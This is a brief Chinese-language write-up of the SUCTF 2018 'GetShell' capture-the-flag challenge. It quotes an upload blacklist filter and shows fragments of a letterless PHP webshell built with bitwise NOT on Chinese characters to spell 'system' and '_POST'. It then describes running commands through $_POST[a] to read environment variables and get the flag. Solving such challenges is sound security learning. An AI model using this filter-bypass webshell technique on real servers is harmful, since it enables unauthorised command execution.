[SUCTF 2018]GetShell
在upload页面看到源码
文件包含题,包含我们上传的文件。传一个图片马,发现被ban了
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
需要测试看看哪些被过滤了。
经过测试发现基本都被过滤了,只剩下$().;=[]]_~这些可以利用
想到之前看的一篇博文:不用字母和数字进行构造webshell
离别歌的博文https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
上传一个php文件后,可以用$_POST[a]来执行系统命令
hackbar传一个a=env,列出所有环境变量即可得到flag